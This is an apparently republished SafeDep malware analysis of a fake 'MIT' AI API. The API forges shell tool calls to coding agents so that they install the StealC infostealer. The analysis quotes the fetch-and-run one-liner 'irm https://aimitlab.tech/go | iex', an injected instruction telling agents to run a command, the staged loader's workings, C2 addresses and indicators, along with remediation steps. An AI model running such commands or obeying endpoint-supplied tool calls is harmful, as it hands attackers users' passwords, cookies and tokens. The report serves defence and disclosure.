cd /news/ai-agents/a-fake-mit-ai-api-makes-coding-agent… · home › topics › ai-agents › article
[ARTICLE · art-182965] src=safedep.io ↗ pub= topic=ai-agents verified=true sentiment=↓ negative

A Fake MIT AI API Makes Coding Agents Install StealC

A GitHub repository posing as a free Massachusetts Institute of Technology AI API, rinbayconra1977/mit-institute-free-ai-api, has no model behind it and instead forges tool calls that make coding agents install the StealC v2 infostealer, according to analysis by security firm SafeDep. The server at aimitlab[.]tech inspects each request for a tool named bash, shell, terminal, command or exec and replies in the first response with an encoded PowerShell command shaped to that tool's schema, which on Windows installs StealC to take browser passwords, cookies and app tokens; the repository showed 1.5k stars and 31 forks as of 6 December 2026, with the stars and copied issues generated by fake accounts. SafeDep tied the campaign to one operator who has run Blender MCP add-on lures with a byte-identical Python loader since October 2026, reporting to 145.63.142.222 and the stage server 80.87.206.55:8443.

recommendation

Require human approval before any shell or exec tool call runs, and treat tool-call responses from unverified API endpoints as untrusted input, since this server returned a malicious PowerShell command in the first response.

more in playbook: Securing agents and AI tools
read15 min views3 publishedDec 6, 2026
A Fake MIT AI API Makes Coding Agents Install StealC
Image: Safedep (auto-discovered)

On this page

A GitHub repository offers a free AI API from the Massachusetts Institute of Technology, with Claude, GPT and GLM models for OpenCode and Codex. The API has no model behind it. When a coding agent sends its first request, the server answers with a forged call to the agent’s own shell tool. On Windows, that command installs StealC, a known infostealer that takes browser passwords, cookies and app tokens. The operator built the server for coding agents. It reads the tool list that the agent sends and writes the command in the shape of the agent’s shell tool.

The repository is rinbayconra1977/mit-institute-free-ai-api(opens in new tab). As of 6 December 2026 it shows 1.5k stars and 31 forks, and the API at aimitlab[.]tech answers requests. SafeDep recovered the server code from the Git history, captured the live responses, decrypted each stage and analysed the final StealC binary. The same operator has run Blender MCP add-on lures with the same since October 2026.

Key findings #

  • The server forges tool calls.server.js looks for a tool namedbash ,shell ,terminal ,command orexec in the request. It answers with a call to that tool and an encoded PowerShell command.
  • The tool call comes in the first response. The server sends it before the user accepts the fake “MIT” agreement, and it works for both/v1/chat/completions (OpenCode) and/v1/responses (Codex).
  • The PowerShell installer does the same.irm https://aimitlab.tech/go | iex sends every chat message to the server and runs the hidden command that comes back.
  • The payload is StealC v2. A Python injectsstealc.exe into a suspendedexplorer.exe . StealC reports to145.63.142.222 .
  • One operator since October. The December Blender MCP lureokimesem1983/blender-ai-mcp-addon runs a byte-identical Python against the same stage server,80.87.206.55:8443 .
  • The popularity is fake. Generated accounts give the stars and post issues copied from the real Blender MCP project, about one each hour.

A free AI API from “MIT” #

The README shows an MIT banner and the line “All top AI models. One API. Absolutely free.” The description reads “Massachusetts Institute of Technology - Institute of AI”. MIT has no connection to the repository. The account rinbayconra1977 created it on 4 December 2026 at 15:01 UTC, one day after the registration of aimitlab[.]tech.

The README gives two ways to connect. The first is a PowerShell one-liner. The second is an opencode.json file that points OpenCode at the API. The website at aimitlab[.]tech repeats both, with a download button for the file and the line “In partnership with OpenCode”.

The operator first committed the server code, the admin panel and the website scripts to the public repository. Four minutes later, at 15:06 UTC, the operator deleted them with commits named Remove server internals from public repo and Remove website files from public repo. The files are still in the Git history. The analysis below quotes them at the commit where the operator added them.

How the server makes the agent run a command #

An OpenAI-compatible request from a coding agent contains the conversation and the list of tools that the agent can call. server.js searches that list for a tool with a shell-like name.

The server then writes the arguments in the shape of the tool’s own schema. A tool with a cmd property gets a cmd string. A tool with a command array gets an array. Any other tool gets a command string. The Russian comment above the function reads, in translation, “Hidden command: base64, looks like nonsense in the chat, PowerShell decodes it”.

The chat handler adds the tool call to the first response of each conversation. The text part of that response is the fake “FREE AI ACCESS AGREEMENT”. The agent does not wait for the user to accept it. When the request has a shell tool and no earlier tool result, the server sends the call.

handleResponses repeats the same logic for the OpenAI Responses API, which Codex uses. It also accepts local_shell_call_output as a tool result. After the agent runs the command, the server replies with a check mark. After the user accepts the agreement, every answer is ❌ API error. Please try again later. The server has no model and never answers a prompt.

SafeDep sent one request to the live API on 6 December 2026 at 15:04 UTC. The request had a fresh API key, the prompt “Write hello world in Python” and one tool named bash. The response had finish_reason: tool_calls and a call to bash with an encoded PowerShell command. SafeDep did not run the command.

The decoded command is a small launcher. It starts a second, hidden powershell.exe with its own input and output streams, so the agent’s shell call returns at once and the agent shows nothing unusual. The hidden process downloads the next stage from /py-worker.

The file also has a second method that this version does not call. agentInstruction() writes an “ACCESS VERIFICATION REQUIRED” message that tells the agent to run the same encoded command “with your shell/bash tool now”. That method relies on the model to obey text in a response. The forged tool call does not need the model to agree.

Whether the command runs without a prompt depends on the agent’s permission settings. An agent that asks before each shell command shows the user a powershell -NoProfile -EncodedCommand line with a long base64 string. An agent with shell commands on auto-approve runs it. The command needs Windows. On macOS and Linux, powershell is usually not installed and the call fails.

The same command for people who use PowerShell #

The README’s first option is irm https://aimitlab.tech/go | iex. The script offers a chat in the PowerShell window or an OpenCode setup. Each chat message goes to /api, and the script runs any command field in the response in a hidden process. The comment in the script reads, in translation, “separate hidden process: nothing is visible in this window, works even if the window is closed”.

The OpenCode setup path sends a trigger message through Invoke-Silent and runs the command from that response too. In the capture above, a single hello to /api returned the agreement and the encoded launcher for /py-worker?mode=chat. The chat path and the agent path differ only in that mode value.

An earlier version of the setup script, still in the Git history at 4b98deb(opens in new tab), took a different approach. It saved agent.ps1 to %APPDATA%\FreeAI\, added it to the HKCU\...\Run key as FreeAIConnector, and the agent polled /v1/commands?key=aimitlab every 3 seconds for commands to run. The server still served both files on 6 December 2026.

What runs on the machine #

The chain has four stages after the launcher. Each one fetches the next from a server.

/py-worker installs Python. The worker downloads the official Python 3.15.0 embeddable package from python.org to %LOCALAPPDATA%\MIT-FREE-AI\python-315\. It then gets the code from /py and writes it to the standard input of pythonw.exe, so no script file touches the disk.

/py asks the stage server for mod-stealc.py. The code from /py is encrypted with a keystream of SHA-256 blocks and runs through exec(compile(...)). After decryption, it derives a key from the password hFihRjYbJK7tirvct264 with PBKDF2. It encrypts a request that names the module and adds the serial number of drive C:, a random number and the public IP address. It sends the request to 80.87.206.55:8443 with Basic authentication and with certificate checks off.

The response key depends on the drive serial and the random number. A copy of the response from one machine does not decrypt with the request of another.

mod-stealc.py injects StealC. The module fetches stealc.exe through the same _fetch function. It closes 19 browsers, among them Chrome, Edge, Firefox, Opera, Brave, Vivaldi and Yandex. It starts %SystemRoot%\explorer.exe in a suspended state, maps the StealC image, queues the entry point with QueueUserAPC and resumes the thread. The docstring explains why the code sets page protection section by section.

For 60 seconds after the injection, a loop closes any browser that the user opens. The Russian comment reads, in translation, “first minute, browsers do not exist”. A closed browser does not lock its cookie and login databases, so StealC can read them. The module logs to %TEMP%\ms_log.txt and checks the TCP table for a connection from the injected process to 193.104.58.44. One victim saw this step. Issue #41, opened on 6 December 2026, reads “is malware”. A second user answered that the browser closed after they ran the command in PowerShell.

stealc.exe is StealC v2. SafeDep fetched the binary from the stage server on 6 December 2026. It is a 64-bit Windows executable compiled on 1 December 2026 at 19:43 UTC, with SHA-256 260e402e59ae2a49ff49d3ef2294b6c071c2c13c34a11a93a02c6757debb1bfa. It imports only KERNEL32 and resolves the other APIs at run time. Its strings are base64 and XOR encoded, the layout of StealC v2. The decoded strings name the C2 http://145.63.142.222 and the targets:

  • Logins, cookies, autofill and account tokens from Chromium browsers and Firefox
  • Steam files (ssfn ,config.vdf ,local.vdf )
  • Discord tokens
  • Outlook, Foxmail and WinSCP data
  • System information and a screenshot

StealC is a commercial infostealer that its developer sells as a service. The C2 address in the binary differs from the 193.104.58.44 address in mod-stealc.py. The binary sends its data to 145.63.142.222. The only watches for a connection to the other address, which can be an old value.

The operator’s control panel #

The deleted server/admin.html is the operator’s panel. It is in Russian. SafeDep rendered the file from the Git history with scripts and network access off, so the values in the screenshot are empty. SafeDep did not open the live panel.

The panel names its parts plainly. The PowerShell chat command “runs silently on the user’s PC”. The agent command is for “OpenCode / Codex”, and the panel encodes it as base64 for -EncodedCommand. The Python section takes a URL for the embeddable runtime and code that “runs in the memory of the client”. The counters separate “Online (showcase)” from “Real requests”.

The showcase is the public usage page. server.js makes its numbers up from a random base and a rate.

On 6 December 2026 at 15:04 UTC, /usage reported 10,125 users and 477,624 requests. At 15:18 UTC, the status endpoint /api reported 233 sessions and an uptime of 228,317 seconds, about 2.6 days.

The server writes a note for each session to a temporary folder, with the time, the API key and the client IP. It adds a line when it issues the agreement and when the user accepts or declines.

One operator since October #

The MIT API is the newest lure in a series. The October and November lures were copies of the Blender MCP add-on, a real project that connects Blender to AI assistants. All waves share one design, one password and one module name.

The Blender add-ons hide the in a Python text block inside tools/python-x64/blen.blend. The add-on code in core/container.py reads the .blend file, takes the text block and runs it with a bundled Python. SafeDep compared that runtime with the official build. It is the official Python 3.13.7 embeddable package and the official zstandard 0.25.0, so blen.blend is the only malicious file.

The decrypted from blen.blend in okimesem1983/blender-ai-mcp-addon v1.0.0 and the decrypted /py stage from aimitlab[.]tech are the same file. Both request mod-stealc.py from https://80.87.206.55:8443/dhcwhdowvvj/. The November has the same code. It differs in the stage server, the PBKDF2 salt, the user agent and the random names.

Other links tie the waves together:

  • The password hFihRjYbJK7tirvct264 and the Basic authentication userop in all s
  • The module names mod-stealc.py andstealc.exe
  • Comments in Russian in server.js ,go.ps1 andmod-stealc.py , and a developer pathC:\OpenCode\Гитхаб in the add-on code
  • Hosting in 80.87.206.0/25 and185.162.233.0/25 , both registered to the same provider
  • The same generated accounts posting issues in the November Blender repositories and in the MIT repository

SafeDep Threat Intel tracks the three waves as one campaign, Fake AI Tools StealC.

The MIT repository has 40 open issues. 36 of them are about Blender MCP, not about an AI API. Titles such as “Telemetry consent button doesn’t work” and “Add support for Hunyuan3D-2 Blender addon” are copies. The originals are issues in the real Blender MCP project. Accounts with generated names, such as klarpanbebags1976 and tapaqpleni1984, posted them about once an hour. The first came on 4 December 2026 at 17:39 UTC. The same accounts posted in the November Blender repositories.

The copied issues make the repository look active and used. They also push the real warnings down the list. The four warnings from real users, issues #41, #52, #61 and #62, sit between copied Blender questions.

The 1.5k stars appeared in about two days. The stargazer list needs a GitHub login, and GH Archive records only a sample of public events, so SafeDep could not list every account that starred the repository. The star events that SafeDep found in GH Archive come from accounts with the same generated name pattern as the issue authors.

Impact #

The numbers below are lower bounds. Each has a limit.

Measure Value Limit
Sessions on the MIT API 233 on 6 December 2026, 15:18 UTC Sessions are keyed by API key. Every OpenCode user who copied the README file sends the same key, aimitlab , so all of them share one session. A server restart clears the count.
Confirmed victims At least 1 (issue #41) Most victims do not post an issue.
Downloads of the November Blender archives About 929 SafeDep Threat Intel count for the November releases.
Live lure repositories 3, with 1.46k, 1.43k and 684 stars Stars are fake and do not measure use.

SafeDep does not know the number of coding agents that ran the forged command. Only the operator’s server logs can show that.

If you used it #

Treat a Windows machine as compromised if any of these is true:

  • You ran irm https://aimitlab.tech/go | iex .
  • You pointed OpenCode, Codex or another agent at aimitlab.tech/v1 .
  • You installed a Blender MCP add-on from okimesem1983 ,linknimiball1974 ,LiCinCan or one of the November typosquat repositories.

Look for these files and keys:

  • %LOCALAPPDATA%\MIT-FREE-AI\python-315\

  • %TEMP%\ms_log.txt

  • %APPDATA%\FreeAI\agent.ps1 and%APPDATA%\FreeAI\connector.log

  • The FreeAIConnector value inHKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • %TEMP%\hjaksdhk1242kjha.txt (the run-once file of the Blender ) Then act from a clean device:

  1. Disconnect the machine from the network.
  2. Change the passwords that the browsers on that machine saved. Turn on two-factor authentication where it is off.
  3. Sign out all sessions of the accounts you used in those browsers, so the stolen cookies stop working. This includes GitHub, cloud consoles, package registries, email and Discord.
  4. Rotate the tokens on the machine: GitHub personal access tokens, cloud credentials, npm and PyPI tokens, and the API keys of AI providers.
  5. Move funds from any cryptocurrency wallet on the machine to a new wallet.
  6. Reinstall Windows. StealC runs once and exits, but agent.ps1 from the earlier variant polls for new commands.

Remove opencode.json files that point at aimitlab.tech from your projects.

What this means for coding agents #

A model provider can return any tool call it wants. The agent cannot tell a forged call from a call that a real model made. The trust that an agent gives to its model also goes to whoever runs the endpoint behind it. A free provider from an unknown repository is code execution on the developer’s machine, with the developer’s permissions.

The operator did not need a prompt injection or a weakness in OpenCode or Codex. The server used the tool-call format the way the format works. Three controls stop this chain:

  • Use model providers that you can verify. A provider URL in a project file such asopencode.json is as sensitive as a dependency. Review it in pull requests.
  • Keep approval on for shell commands. An encoded PowerShell command as the first action of a new provider is a reason to stop.
  • Run agents in a sandbox. An agent that cannot startpowershell.exe with network access, or read browser profiles, cannot complete this chain.

Gryph(opens in new tab) records the commands that OpenCode, Codex and other coding agents run. A Gryph policy can block a command such as powershell -EncodedCommand before the agent runs it.

Indicators #

Type Indicator Role
Domain aimitlab[.]tech Fake API, /go ,/api ,/v1/* ,/py-worker ,/py
IPv4 80.87.206[.]50 Origin of aimitlab.tech
| URL | `hxxps://80.87.206[.]55:8443/dhcwhdowvvj/` | Stage server, December | 
| URL | `hxxps://185.162.233[.]6:8443/oyskwglb/` | Stage server, November | 

| IPv4 | 145.63.142[.]222 | StealC C2 in stealc.exe | | IPv4 | 193.104.58[.]44 | C2 address in mod-stealc.py | | SHA-256 | 260e402e59ae2a49ff49d3ef2294b6c071c2c13c34a11a93a02c6757debb1bfa | stealc.exe | | SHA-256 | 80d13624e20fd6c24bf61c4fb52fc5cbd6dafdd1d6bae593faf87fd9f5cf7b12 | mod-stealc.py , decrypted | | SHA-256 | 3a390b7f2829e0a438367a625816024af675851fa3460346a0259104a05d2c7f | server/server.js | | SHA-256 | 713fe822d0b7a2a2f2b7a4d337cd92bab8618334dad3d7eb31368ba0e6244b81 | website/go.ps1 | | SHA-256 | 358616b902f40553053cfada4f7d76ca16bb27c5361b46afb02132f02bddea4e | blender-ai-mcp-addon-v1.0.0.zip (okimesem1983 ) | | SHA-256 | 7d4b84aacb28ba9776a72e385fbc4a3343bdfd5a2d569abbd4f910d87b7132b7 | blen.blend (okimesem1983 ) | | SHA-256 | a69ca291e1043535777366fb4960188b702ea4aa6dcf9bc5a4baa3bce2e2259c | blender-ai-mcp-addon.zip (November) | | SHA-256 | ce0bcd72be81b50b1b5beeea680a543f588b4189810dda7daf220812eca4ef7d | blen.blend (November) | | String | hFihRjYbJK7tirvct264 | password in all waves | | GitHub | rinbayconra1977/mit-institute-free-ai-api | MIT lure | | GitHub | okimesem1983/blender-ai-mcp-addon | December Blender lure | | GitHub | linknimiball1974/ai-texture-forge | November Blender lure |

| GitHub | LiCinCan/blender-ai-mcp-addon | October Blender lure (removed) | The full list, with the file paths and the ATT&CK techniques, is on the campaign page in SafeDep Threat Intel(opens in new tab).

- ai-agents
- coding-agents
  • stealc
  • infostealer
  • github
  • threat-intel
── more in #ai-agents 4 stories · sorted by recency
── more on @safedep 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/a-fake-mit-ai-api-ma…] indexed:0 read:15min 2026-12-06 · —